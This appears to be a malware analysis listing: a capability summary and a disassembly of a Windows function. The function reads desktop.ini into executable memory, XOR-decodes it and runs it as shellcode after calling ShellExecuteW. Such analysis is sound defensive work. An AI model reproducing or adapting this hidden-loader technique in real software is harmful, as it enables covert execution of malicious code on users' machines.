mov ecx, 0x31c
mov edx, 0x86
jmp 0x515d83

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10